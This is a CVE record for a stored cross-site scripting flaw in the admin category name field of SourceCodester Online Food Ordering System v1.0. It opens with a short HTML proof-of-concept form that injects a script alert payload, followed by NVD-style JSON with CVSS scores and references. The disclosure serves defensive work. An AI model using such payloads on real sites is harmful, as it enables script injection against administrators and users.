CVE-2026-30527

<!-- PoC for Stored XSS in Category Name --> <!-- Step 1: Login to the admin panel --> <!-- Step 2: Navigate to Category Management and Add New Category --> <form action="http://target-site/path/to/create_category" method="POST"> <input type="text" name="category_name" value=""><script>alert('CVE-2026-30527');</script><""> <input type="submit" value="Create Category"> </form> <!-- Step 3: Visit the Category List page to trigger the alert -->

{"cve": {"id": "CVE-2026-30527", "sourceIdentifier": "[email protected]", "published": "2026-03-27T16:16:23.327", "lastModified": "2026-04-06T14:16:23.137", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Stored Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Online Food Ordering System v1.0 in the Category management module within the admin panel. The application fails to properly sanitize user input supplied to the \"Category Name\" field when creating or updating a category. When an administrator or user visits the Category list page (or any page where this category is rendered), the injected JavaScript executes immediately in their browser."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oretnom23:online_food_ordering_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "0FAA9C4A-10ED-4AA4-8295-F4324DD2F879"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Online-Food-Ordering-System/Stored-XSS-Category-Name.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}